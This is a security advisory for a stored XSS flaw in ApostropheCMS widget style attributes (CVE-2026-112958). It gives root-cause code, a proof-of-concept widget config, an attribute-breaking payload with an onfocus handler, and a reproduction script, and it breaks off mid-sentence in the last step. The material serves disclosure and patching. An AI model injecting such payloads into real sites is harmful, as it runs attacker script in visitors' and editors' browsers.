---
id: "CVE-2026-112958"
kind: "vulnerability"
aliases: ["CVE-2026-112958", "GHSA-7jg5-frgc-c67w"]
title: "ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization"
severity: "medium"
cvss: 5.400000095367432
epss: 0.0030300000216811895
exploited: false
status: "open"
category: "package"
products: [{"name": "apostrophe", "fixed": ["4.34.0"], "affected": "< 4.34.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["apostrophe", "cms", "cwe-79", "node", "npm", "package"]
not_affected_if: ["apostrophe-4.34.0-or-later", "no-free-form-string-style-fields", "static-export"]
published_at: "2026-10-20T17:17:33+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:20+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-7jg5-frgc-c67w", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112958", "first_seen_at": "2026-10-23T21:57:20+00:00"}]
---

# ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization

ApostropheCMS does not HTML-escape a project-defined free-form string style value when it writes the widget wrapper's inline style attribute, so an editor can store a value that closes the attribute and adds event-handler attributes. The injected script runs in the site origin for visitors of published pages that contain the widget, and for any privileged user who views it.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:apostrophe affected < 4.34.0 fixed 4.34.0

## How to check

Check whether any widget module under the project defines a style field with type 'string' and a 'property' but no 'selector' (or uses class: true on a string style).
Check the installed apostrophe version: npm ls apostrophe
Confirm the version is 4.34.0 or later.

## Fix

Upgrade apostrophe to 4.34.0 or later.
Until then, change free-form string style fields to select, range or color types, or remove them.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-7jg5-frgc-c67w
- 2026-10-23T21:57:20+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-112958

## From the sources

## Summary

ApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's `style="..."` attribute without HTML-attribute escaping.

An attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.

This is a sibling of CVE-2026-33889 / `GHSA-97v6-998m-fp4g`. The earlier issue escaped from a `<style>` element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper's inline `style` and `class` attributes.

## Details

### Root Cause 1: Free-form string style values retain HTML metacharacters

The standard string field converter uses `launder.string()` and length validation. This performs type normalization, not output encoding for an HTML attribute context:

[`packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/schema/lib/addFieldTypes.js#L296-L333)

```javascript
self.addFieldType({
  name: 'string',
  // ...
  convert(req, field, data, destination) {
    destination[field.name] = self.apos.launder.string(data[field.name]);
    destination[field.name] = checkStringLength(
      destination[field.name],
      field.min,
      field.max
    );
  }
});
```

Quotes therefore remain in a value supplied through a style field.

### Root Cause 2: The value is converted into inline CSS without value validation

For a field with `property` but no `selector` or media query, `renderScopedStyles()` selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value:

[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L171-L228)

[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L598-L647)

```javascript
rule = `${property}: ${normalized.value}${normalized.unit}`;

// ...

if (isInline) {
  return {
    css: '',
    classes: [ ...storage.classes ],
    inline: stringifyRules(storage.styles, true)
  };
}
```

For example, the value below becomes part of a `font-family` declaration:

```text
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
```

### Root Cause 3: Attribute values are serialized without HTML escaping

`getWidgetAttributes()` places the inline CSS into an attribute tuple, then concatenates every tuple into `key="value"` without encoding `&`, `<`, `>`, `'`, or `"`:

[`packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/lib/methods.js#L251-L322)

```javascript
if (styleParts.length) {
  attrs.push(
    [ 'style', `${styleParts.join(';')};` ]
  );
}

if (options.asObject) {
  return Object.fromEntries(attrs);
}

return attrs
  .map(([ key, value ]) => `${key}="${value}"`)
  .join(' ');
```

The same raw serializer also makes a project-defined free-form `string` style with `class: true` a potential sibling path, because the string is added to `classes` and later serialized into `class="..."`. The inline-property path was the path dynamically verified.

### Root Cause 4: The unsafe string is used by the automatic public wrapper

Styled widgets use `getWidgetAttributes()` to create a wrapper around the rendered widget:

[`packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/widget-type/index.js#L448-L457)

```javascript
if (hasStyles && self.options.stylesWrapper !== false) {
  const styles = self.apos.styles.prepareWidgetStyles(widget);
  const styleTag = self.apos.styles
    .getWidgetElements(styles, { scene: req.scene });
  const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);

  return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;
}
```

Consequently, the injected attribute is present on normal public page renders, not only in the editor UI.

### Why the CVE-2026-33889 defense does not prevent this variant

The sibling advisory led to a defense in `getWidgetElements()` that rewrites `</` before CSS is inserted into a `<style>` element:

```javascript
css = css.replaceAll('</', '<\\/');
```

This protects the style-element boundary. The vulnerable path above produces `inline` output instead of `css`, so it never reaches that replacement.

## Affected Configurations and Versions

The verified configuration has all of the following properties:

- A widget defines a style field with a free-form type such as `string`.
- The field uses `property` without a selector, causing inline-style rendering, or uses `class: true` with an unrestricted string value.
- The attacker has permission to edit a widget containing the field.
- The malicious content is published, or a higher-privileged user views the affected draft.

Standard range, select, and color presets do not directly provide an unrestricted quote-containing value and were not demonstrated as affected by this variant.

## Proof of Concept

### Step 1: Configure a widget with a free-form inline style

Add a style field similar to the following to a widget module:

```javascript
module.exports = {
  extend: '@apostrophecms/widget-type',
  options: {
    label: 'Style Attribute Test'
  },
  styles: {
    add: {
      customFont: {
        type: 'string',
        label: 'Custom Font',
        property: 'font-family'
      }
    }
  }
};
```

The absence of `selector` makes the generated declaration inline.

### Step 2: Store the payload

As a user who may edit this widget, enter the following value in `customFont` and save the widget:

```text
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
```

Publish the page, or have another user view the affected draft.

### Step 3: Reproduce the renderer output directly

The vulnerable data flow can also be reproduced using the real renderer and serializer from a checked-out, dependency-installed repository:

```javascript
const methodsFactory = require(
  './packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js'
);

(async () => {
  const { renderScopedStyles } = await import(
    './packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'
  );

  const payload =
    'serif" tabindex="0" autofocus ' +
    'onfocus="document.body.dataset.inline=\'executed\'';

  const styles = renderScopedStyles(
    [ {
      name: 'customFont',
      type: 'string',
      property: 'font-family'
    } ],
    { customFont: payload }
  );

  Object.assign(styles, {
    styleId: 'audit-inline',
    widgetId: 'widget-1'
  });

  const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);
  console.log('inline:', styles.inline);
  console.log('attributes:', attrs);
})();
```

### Step 4: Observe the unsafe HTML

The current renderer produced:

```text
inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';
```

The serializer then produced an attrib

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
